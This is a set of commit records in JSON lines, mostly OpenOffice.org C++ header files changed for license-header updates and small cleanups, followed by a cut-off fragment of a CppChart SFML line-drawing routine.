{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: fuslhide.hxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: obo $ $Date: 2004-01-20 12:12:09 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SD_FU_SLIDE_HIDE_HXX\n#define SD_FU_SLIDE_HIDE_HXX\n\n#ifndef SD_FU_SLIDE_HXX\n#include \"fuslid.hxx\"\n#endif\n\nnamespace sd {\n\n\/*************************************************************************\n|*\n|* selektierte Dias in der Show zeigen \/ nicht zeigen\n|*\n\\************************************************************************\/\n\nclass FuSlideHide\n    : public FuSlide\n{\npublic:\n    TYPEINFO();\n\n    FuSlideHide (\n        ViewShell* pViewSh,\n        ::sd::Window* pWin,\n        ::sd::View* pView,\n        SdDrawDocument* pDoc,\n        SfxRequest& rReq);\n    virtual ~FuSlideHide (void);\n};\n\n} \/\/ end of namespace sd\n\n#endif\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.3.562); FILE MERGED 2005\/09\/05 13:23:13 rt 1.3.562.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: fuslhide.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-09 05:39:39 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef SD_FU_SLIDE_HIDE_HXX\n#define SD_FU_SLIDE_HIDE_HXX\n\n#ifndef SD_FU_SLIDE_HXX\n#include \"fuslid.hxx\"\n#endif\n\nnamespace sd {\n\n\/*************************************************************************\n|*\n|* selektierte Dias in der Show zeigen \/ nicht zeigen\n|*\n\\************************************************************************\/\n\nclass FuSlideHide\n    : public FuSlide\n{\npublic:\n    TYPEINFO();\n\n    FuSlideHide (\n        ViewShell* pViewSh,\n        ::sd::Window* pWin,\n        ::sd::View* pView,\n        SdDrawDocument* pDoc,\n        SfxRequest& rReq);\n    virtual ~FuSlideHide (void);\n};\n\n} \/\/ end of namespace sd\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: undopage.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: kz $ $Date: 2006-12-12 17:50:52 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _SD_UNDOPAGE_HXX\n#define _SD_UNDOPAGE_HXX\n\n#ifndef _GEN_HXX \/\/autogen\n#include <tools\/gen.hxx>\n#endif\n#ifndef _SV_PRNTYPES_HXX \/\/autogen\n#include <vcl\/prntypes.hxx>\n#endif\n\n#include \"sdundo.hxx\"\n\nclass SdDrawDocument;\nclass SdPage;\n\n\/************************************************************************\/\n\nclass SdPageFormatUndoAction : public SdUndoAction\n{\n    SdPage*     mpPage;\n\n    Size        maOldSize;\n    INT32       mnOldLeft;\n    INT32       mnOldRight;\n    INT32       mnOldUpper;\n    INT32       mnOldLower;\n    BOOL        mbOldScale;\n    Orientation meOldOrientation;\n    USHORT      mnOldPaperBin;\n    BOOL        mbOldFullSize;\n\n    Size        maNewSize;\n    INT32       mnNewLeft;\n    INT32       mnNewRight;\n    INT32       mnNewUpper;\n    INT32       mnNewLower;\n    BOOL        mbNewScale;\n    Orientation meNewOrientation;\n    USHORT      mnNewPaperBin;\n    BOOL        mbNewFullSize;\n\npublic:\n    TYPEINFO();\n    SdPageFormatUndoAction( SdDrawDocument* pDoc,\n                            SdPage*         pThePage,\n                            const Size&     rOldSz,\n                            INT32           nOldLft,\n                            INT32           nOldRgt,\n                            INT32           nOldUpr,\n                            INT32           nOldLwr,\n                            BOOL            bOldScl,\n                            Orientation     eOldOrient,\n                            USHORT          nOPaperBin,\n                            BOOL            bOFullSize,\n\n                            const Size&     rNewSz,\n                            INT32           nNewLft,\n                            INT32           nNewRgt,\n                            INT32           nNewUpr,\n                            INT32           nNewLwr,\n                            BOOL            bNewScl,\n                            Orientation     eNewOrient,\n                            USHORT          nNPaperBin,\n                            BOOL            bNFullSize\n                            ) :\n        SdUndoAction(pDoc),\n        mpPage      (pThePage),\n        maOldSize   (rOldSz),\n        mnOldLeft   (nOldLft),\n        mnOldRight  (nOldRgt),\n        mnOldUpper  (nOldUpr),\n        mnOldLower  (nOldLwr),\n        mbOldScale   (bOldScl),\n        meOldOrientation(eOldOrient),\n        mnOldPaperBin (nOPaperBin),\n        mbOldFullSize (bOFullSize),\n\n\n        maNewSize   (rNewSz),\n        mnNewLeft   (nNewLft),\n        mnNewRight  (nNewRgt),\n        mnNewUpper  (nNewUpr),\n        mnNewLower   (nNewLwr),\n        mbNewScale   (bNewScl),\n        meNewOrientation(eNewOrient),\n        mnNewPaperBin (nNPaperBin),\n        mbNewFullSize (bNFullSize)\n\n        {}\n    virtual ~SdPageFormatUndoAction();\n\n    virtual void Undo();\n    virtual void Redo();\n};\n\n\/************************************************************************\/\n\nclass SdPageLRUndoAction : public SdUndoAction\n{\n    SdPage* mpPage;\n\n    INT32   mnOldLeft;\n    INT32   mnOldRight;\n    INT32   mnNewLeft;\n    INT32   mnNewRight;\n\npublic:\n    TYPEINFO();\n    SdPageLRUndoAction( SdDrawDocument* pDoc, SdPage* pThePage,\n                        INT32 nOldLft, INT32 nOldRgt,\n                        INT32 nNewLft, INT32 nNewRgt ) :\n        SdUndoAction(pDoc),\n        mpPage      (pThePage),\n        mnOldLeft   (nOldLft),\n        mnOldRight  (nOldRgt),\n        mnNewLeft   (nNewLft),\n        mnNewRight  (nNewRgt)\n        {}\n    virtual ~SdPageLRUndoAction();\n\n    virtual void Undo();\n    virtual void Redo();\n};\n\n\/************************************************************************\/\n\nclass SdPageULUndoAction : public SdUndoAction\n{\n    SdPage* mpPage;\n\n    INT32   mnOldUpper;\n    INT32   mnOldLower;\n    INT32   mnNewUpper;\n    INT32   mnNewLower;\n\npublic:\n    TYPEINFO();\n    SdPageULUndoAction( SdDrawDocument* pDoc, SdPage* pThePage,\n                        INT32 nOldUpr, INT32 nOldLwr,\n                        INT32 nNewUpr, INT32 nNewLwr ) :\n        SdUndoAction(pDoc),\n        mpPage      (pThePage),\n        mnOldUpper  (nOldUpr),\n        mnOldLower  (nOldLwr),\n        mnNewUpper  (nNewUpr),\n        mnNewLower  (nNewLwr)\n        {}\n    virtual ~SdPageULUndoAction();\n\n    virtual void Undo();\n    virtual void Redo();\n};\n\n\n\n#endif      \/\/ _SD_UNDOPAGE_HXX\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.4.298); FILE MERGED 2008\/04\/01 15:35:35 thb 1.4.298.2: #i85898# Stripping all external header guards 2008\/03\/31 13:58:18 rt 1.4.298.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: undopage.hxx,v $\n * $Revision: 1.5 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#ifndef _SD_UNDOPAGE_HXX\n#define _SD_UNDOPAGE_HXX\n\n#include <tools\/gen.hxx>\n#include <vcl\/prntypes.hxx>\n\n#include \"sdundo.hxx\"\n\nclass SdDrawDocument;\nclass SdPage;\n\n\/************************************************************************\/\n\nclass SdPageFormatUndoAction : public SdUndoAction\n{\n    SdPage*     mpPage;\n\n    Size        maOldSize;\n    INT32       mnOldLeft;\n    INT32       mnOldRight;\n    INT32       mnOldUpper;\n    INT32       mnOldLower;\n    BOOL        mbOldScale;\n    Orientation meOldOrientation;\n    USHORT      mnOldPaperBin;\n    BOOL        mbOldFullSize;\n\n    Size        maNewSize;\n    INT32       mnNewLeft;\n    INT32       mnNewRight;\n    INT32       mnNewUpper;\n    INT32       mnNewLower;\n    BOOL        mbNewScale;\n    Orientation meNewOrientation;\n    USHORT      mnNewPaperBin;\n    BOOL        mbNewFullSize;\n\npublic:\n    TYPEINFO();\n    SdPageFormatUndoAction( SdDrawDocument* pDoc,\n                            SdPage*         pThePage,\n                            const Size&     rOldSz,\n                            INT32           nOldLft,\n                            INT32           nOldRgt,\n                            INT32           nOldUpr,\n                            INT32           nOldLwr,\n                            BOOL            bOldScl,\n                            Orientation     eOldOrient,\n                            USHORT          nOPaperBin,\n                            BOOL            bOFullSize,\n\n                            const Size&     rNewSz,\n                            INT32           nNewLft,\n                            INT32           nNewRgt,\n                            INT32           nNewUpr,\n                            INT32           nNewLwr,\n                            BOOL            bNewScl,\n                            Orientation     eNewOrient,\n                            USHORT          nNPaperBin,\n                            BOOL            bNFullSize\n                            ) :\n        SdUndoAction(pDoc),\n        mpPage      (pThePage),\n        maOldSize   (rOldSz),\n        mnOldLeft   (nOldLft),\n        mnOldRight  (nOldRgt),\n        mnOldUpper  (nOldUpr),\n        mnOldLower  (nOldLwr),\n        mbOldScale   (bOldScl),\n        meOldOrientation(eOldOrient),\n        mnOldPaperBin (nOPaperBin),\n        mbOldFullSize (bOFullSize),\n\n\n        maNewSize   (rNewSz),\n        mnNewLeft   (nNewLft),\n        mnNewRight  (nNewRgt),\n        mnNewUpper  (nNewUpr),\n        mnNewLower   (nNewLwr),\n        mbNewScale   (bNewScl),\n        meNewOrientation(eNewOrient),\n        mnNewPaperBin (nNPaperBin),\n        mbNewFullSize (bNFullSize)\n\n        {}\n    virtual ~SdPageFormatUndoAction();\n\n    virtual void Undo();\n    virtual void Redo();\n};\n\n\/************************************************************************\/\n\nclass SdPageLRUndoAction : public SdUndoAction\n{\n    SdPage* mpPage;\n\n    INT32   mnOldLeft;\n    INT32   mnOldRight;\n    INT32   mnNewLeft;\n    INT32   mnNewRight;\n\npublic:\n    TYPEINFO();\n    SdPageLRUndoAction( SdDrawDocument* pDoc, SdPage* pThePage,\n                        INT32 nOldLft, INT32 nOldRgt,\n                        INT32 nNewLft, INT32 nNewRgt ) :\n        SdUndoAction(pDoc),\n        mpPage      (pThePage),\n        mnOldLeft   (nOldLft),\n        mnOldRight  (nOldRgt),\n        mnNewLeft   (nNewLft),\n        mnNewRight  (nNewRgt)\n        {}\n    virtual ~SdPageLRUndoAction();\n\n    virtual void Undo();\n    virtual void Redo();\n};\n\n\/************************************************************************\/\n\nclass SdPageULUndoAction : public SdUndoAction\n{\n    SdPage* mpPage;\n\n    INT32   mnOldUpper;\n    INT32   mnOldLower;\n    INT32   mnNewUpper;\n    INT32   mnNewLower;\n\npublic:\n    TYPEINFO();\n    SdPageULUndoAction( SdDrawDocument* pDoc, SdPage* pThePage,\n                        INT32 nOldUpr, INT32 nOldLwr,\n                        INT32 nNewUpr, INT32 nNewLwr ) :\n        SdUndoAction(pDoc),\n        mpPage      (pThePage),\n        mnOldUpper  (nOldUpr),\n        mnOldLower  (nOldLwr),\n        mnNewUpper  (nNewUpr),\n        mnNewLower  (nNewLwr)\n        {}\n    virtual ~SdPageULUndoAction();\n\n    virtual void Undo();\n    virtual void Redo();\n};\n\n\n\n#endif      \/\/ _SD_UNDOPAGE_HXX\n\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: unoprnms.hxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: cl $ $Date: 2000-12-19 16:40:17 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _SD_UNOPRNMS_HXX\n#define _SD_UNOPRNMS_HXX\n\n#define UNO_NAME_MODEL_LANGUAGE         \"CharLocale\"\n#define UNO_NAME_MODEL_TABSTOP          \"TabStop\"\n\n#define UNO_NAME_PAGE_BACKGROUND        \"Background\"\n#define UNO_NAME_PAGE_LEFT              \"BorderLeft\"\n#define UNO_NAME_PAGE_RIGHT             \"BorderRight\"\n#define UNO_NAME_PAGE_TOP               \"BorderTop\"\n#define UNO_NAME_PAGE_BOTTOM            \"BorderBottom\"\n#define UNO_NAME_PAGE_CHANGE            \"Change\"\n#define UNO_NAME_PAGE_DURATION          \"Duration\"\n#define UNO_NAME_PAGE_EFFECT            \"Effect\"\n#define UNO_NAME_PAGE_HEIGHT            \"Height\"\n#define UNO_NAME_PAGE_LAYOUT            \"Layout\"\n#define UNO_NAME_PAGE_NUMBER            \"Number\"\n#define UNO_NAME_PAGE_OBJECTS           \"Objects\"\n#define UNO_NAME_PAGE_ORIENTATION       \"Orientation\"\n#define UNO_NAME_PAGE_SPEED             \"Speed\"\n#define UNO_NAME_PAGE_WIDTH             \"Width\"\n#define UNO_NAME_PAGE_PREVIEW           \"Preview\"\n#define UNO_NAME_PAGE_VISIBLE           \"Visible\"\n\n#define UNO_NAME_OBJ_BOOKMARK           \"Bookmark\"\n#define UNO_NAME_OBJ_DIMCOLOR           \"DimColor\"\n#define UNO_NAME_OBJ_DIMHIDE            \"DimHide\"\n#define UNO_NAME_OBJ_DIMPREV            \"DimPrevious\"\n#define UNO_NAME_OBJ_EFFECT             \"Effect\"\n#define UNO_NAME_OBJ_ISEMPTYPRESOBJ     \"IsEmptyPresentationObject\"\n#define UNO_NAME_OBJ_ISPRESOBJ          \"IsPresentationObject\"\n#define UNO_NAME_OBJ_CLICKACTION        \"OnClick\"\n#define UNO_NAME_OBJ_PLAYFULL           \"PlayFull\"\n#define UNO_NAME_OBJ_PRESORDER          \"PresentationOrder\"\n#define UNO_NAME_OBJ_SOUNDFILE          \"Sound\"\n#define UNO_NAME_OBJ_SOUNDON            \"SoundOn\"\n#define UNO_NAME_OBJ_SPEED              \"Speed\"\n#define UNO_NAME_OBJ_TEXTEFFECT         \"TextEffect\"\n#define UNO_NAME_OBJ_BLUESCREEN         \"TransparentColor\"\n#define UNO_NAME_OBJ_VERB               \"Verb\"\n#define UNO_NAME_OBJ_STYLE              \"Style\"\n#define UNO_NAME_OBJ_MASTERDEPENDENT    \"IsPlaceholderDependent\"\n#define UNO_NAME_OBJ_ANIMATIONPATH      \"AnimationPath\"\n\n#define UNO_NAME_LAYER_LOCKED           \"IsLocked\"\n#define UNO_NAME_LAYER_PRINTABLE        \"IsPrintable\"\n#define UNO_NAME_LAYER_VISIBLE          \"IsVisible\"\n#define UNO_NAME_LAYER_NAME             \"Name\"\n\n#define UNO_NAME_SHOW_ALLOWANIM         \"AllowAnimations\"\n#define UNO_NAME_SHOW_CUSTOMSHOW        \"CustomShow\"\n#define UNO_NAME_SHOW_FIRSTPAGE         \"FirstPage\"\n#define UNO_NAME_SHOW_ONTOP             \"IsAlwaysOnTop\"\n#define UNO_NAME_SHOW_AUTOMATIC         \"IsAutomatic\"\n#define UNO_NAME_SHOW_ENDLESS           \"IsEndless\"\n#define UNO_NAME_SHOW_FULLSCREEN        \"IsFullScreen\"\n#define UNO_NAME_SHOW_LIVEMODUS         \"IsLivePresentation\"\n#define UNO_NAME_SHOW_MOUSEVISIBLE      \"IsMouseVisible\"\n#define UNO_NAME_SHOW_PAGERANGE         \"PageRange\"\n#define UNO_NAME_SHOW_PAUSE             \"Pause\"\n#define UNO_NAME_SHOW_STARTWITHNAV      \"StartWithNavigator\"\n#define UNO_NAME_SHOW_USEPEN            \"UsePen\"\n\n#define UNO_NAME_SEARCH_BACKWARDS   \"SearchBackwards\"\n#define UNO_NAME_SEARCH_CASE        \"SearchCaseSensitive\"\n#define UNO_NAME_SEARCH_WORDS       \"SearchWords\"\n\n#define UNO_NAME_LINKDISPLAYNAME                \"LinkDisplayName\"\n#define UNO_NAME_LINKDISPLAYBITMAP              \"LinkDisplayBitmap\"\n\n#define UNO_NAME_STYLE_FAMILY   \"Family\"\n#endif\n\n\n<commit_msg>INTEGRATION: CWS presentationengine01 (1.3.364); FILE MERGED 2004\/08\/25 16:42:59 cl 1.3.364.1: replaced old FuSlideShow with new SlideShow<commit_after>\/*************************************************************************\n *\n *  $RCSfile: unoprnms.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: rt $ $Date: 2004-11-26 20:19:29 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _SD_UNOPRNMS_HXX\n#define _SD_UNOPRNMS_HXX\n\n#define UNO_NAME_MODEL_LANGUAGE         \"CharLocale\"\n#define UNO_NAME_MODEL_TABSTOP          \"TabStop\"\n\n#define UNO_NAME_PAGE_BACKGROUND        \"Background\"\n#define UNO_NAME_PAGE_LEFT              \"BorderLeft\"\n#define UNO_NAME_PAGE_RIGHT             \"BorderRight\"\n#define UNO_NAME_PAGE_TOP               \"BorderTop\"\n#define UNO_NAME_PAGE_BOTTOM            \"BorderBottom\"\n#define UNO_NAME_PAGE_CHANGE            \"Change\"\n#define UNO_NAME_PAGE_DURATION          \"Duration\"\n#define UNO_NAME_PAGE_EFFECT            \"Effect\"\n#define UNO_NAME_PAGE_HEIGHT            \"Height\"\n#define UNO_NAME_PAGE_LAYOUT            \"Layout\"\n#define UNO_NAME_PAGE_NUMBER            \"Number\"\n#define UNO_NAME_PAGE_OBJECTS           \"Objects\"\n#define UNO_NAME_PAGE_ORIENTATION       \"Orientation\"\n#define UNO_NAME_PAGE_SPEED             \"Speed\"\n#define UNO_NAME_PAGE_WIDTH             \"Width\"\n#define UNO_NAME_PAGE_PREVIEW           \"Preview\"\n#define UNO_NAME_PAGE_VISIBLE           \"Visible\"\n\n#define UNO_NAME_OBJ_BOOKMARK           \"Bookmark\"\n#define UNO_NAME_OBJ_DIMCOLOR           \"DimColor\"\n#define UNO_NAME_OBJ_DIMHIDE            \"DimHide\"\n#define UNO_NAME_OBJ_DIMPREV            \"DimPrevious\"\n#define UNO_NAME_OBJ_EFFECT             \"Effect\"\n#define UNO_NAME_OBJ_ISEMPTYPRESOBJ     \"IsEmptyPresentationObject\"\n#define UNO_NAME_OBJ_ISPRESOBJ          \"IsPresentationObject\"\n#define UNO_NAME_OBJ_CLICKACTION        \"OnClick\"\n#define UNO_NAME_OBJ_PLAYFULL           \"PlayFull\"\n#define UNO_NAME_OBJ_PRESORDER          \"PresentationOrder\"\n#define UNO_NAME_OBJ_SOUNDFILE          \"Sound\"\n#define UNO_NAME_OBJ_SOUNDON            \"SoundOn\"\n#define UNO_NAME_OBJ_SPEED              \"Speed\"\n#define UNO_NAME_OBJ_TEXTEFFECT         \"TextEffect\"\n#define UNO_NAME_OBJ_BLUESCREEN         \"TransparentColor\"\n#define UNO_NAME_OBJ_VERB               \"Verb\"\n#define UNO_NAME_OBJ_STYLE              \"Style\"\n#define UNO_NAME_OBJ_MASTERDEPENDENT    \"IsPlaceholderDependent\"\n#define UNO_NAME_OBJ_ANIMATIONPATH      \"AnimationPath\"\n\n#define UNO_NAME_LAYER_LOCKED           \"IsLocked\"\n#define UNO_NAME_LAYER_PRINTABLE        \"IsPrintable\"\n#define UNO_NAME_LAYER_VISIBLE          \"IsVisible\"\n#define UNO_NAME_LAYER_NAME             \"Name\"\n\n#define UNO_NAME_SHOW_ALLOWANIM         \"AllowAnimations\"\n#define UNO_NAME_SHOW_CUSTOMSHOW        \"CustomShow\"\n#define UNO_NAME_SHOW_FIRSTPAGE         \"FirstPage\"\n#define UNO_NAME_SHOW_ONTOP             \"IsAlwaysOnTop\"\n#define UNO_NAME_SHOW_AUTOMATIC         \"IsAutomatic\"\n#define UNO_NAME_SHOW_ENDLESS           \"IsEndless\"\n#define UNO_NAME_SHOW_FULLSCREEN        \"IsFullScreen\"\n#define UNO_NAME_SHOW_MOUSEVISIBLE      \"IsMouseVisible\"\n#define UNO_NAME_SHOW_PAGERANGE         \"PageRange\"\n#define UNO_NAME_SHOW_PAUSE             \"Pause\"\n#define UNO_NAME_SHOW_STARTWITHNAV      \"StartWithNavigator\"\n#define UNO_NAME_SHOW_USEPEN            \"UsePen\"\n\n#define UNO_NAME_SEARCH_BACKWARDS   \"SearchBackwards\"\n#define UNO_NAME_SEARCH_CASE        \"SearchCaseSensitive\"\n#define UNO_NAME_SEARCH_WORDS       \"SearchWords\"\n\n#define UNO_NAME_LINKDISPLAYNAME                \"LinkDisplayName\"\n#define UNO_NAME_LINKDISPLAYBITMAP              \"LinkDisplayBitmap\"\n\n#define UNO_NAME_STYLE_FAMILY   \"Family\"\n#endif\n\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Let `A` own even if it should not...<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"Graphics.h\"\n\nnamespace CppChart\n{\n\tsf::RectangleShape MakeRect(sf::Vector2f first, sf::Vector2f second, float thickness)\n\t{\n\t\tsf::RectangleShape plot;\n\t\tfloat dist = sqrt((first.x - second.x) * (first.x - second.x) + (first.y - second.y) * (first.y - second.y));\n\n\t\tplot.setSize(sf::Vector2f(dist, thickness));\n\n\t\tif (first.y > second.y)\n\t\t{\n\t\t\tstd::swap(first, second);\n\t\t}\n\n\t\tplot.setPosition(first);\n\t\tplot.setOrigin(0.0f, plot.getSize().y \/ 2.0f);\n\n\t\tfloat m = (second.y - first.y) \/ (second.x - first.x);\n\t\tfloat angle = (180.0f \/ 3.1415f) * atan(m >= 0.0f ? m : -m);\n\n\t\tif ((first.x - second.x) > 0.01f)\n\t\t{\n\t\t\tangle = 180.0f - angle;\n\t\t}\n\n\t\tplot.rotate(angle);\n\n\t\treturn plot;\n\t}\n\n\tvoid DrawDottedLine(sf::RenderTarget* window, const sf::Vector2f& start, const sf::Vector2f& end, const sf::Color& color, float gap, float thickness)\n\t{\n\t\tLogFnStart();\n\n\t\tfloat dist = sqrt((start.x - end.x) * (start.x - end.x) + (start.y - end.y) * (start.y - end.y));\n\t\tfloat covered, ratio;\n\t\tfloat x, y;\n\t\tint totalSegments = dist \/ gap;\n\t\tbool draw = true;\n\t\tsf::Vector2f first = start, second;\n\t\n\t\tcovered = gap;\n\n\t\tfor (int i = 0; i < totalSegments; ++i)\n\t\t{\n\t\t\tif (draw)\n\t\t\t{\n\t\t\t\tratio = covered \/ dist;\n\t\t\t\tx = start.x * (1.0f - ratio) + end.x * ratio;\n\t\t\t\ty = start.y * (1.0f - ratio) + end.y * ratio;\n\t\t\t\tsecond = sf::Vector2f(x, 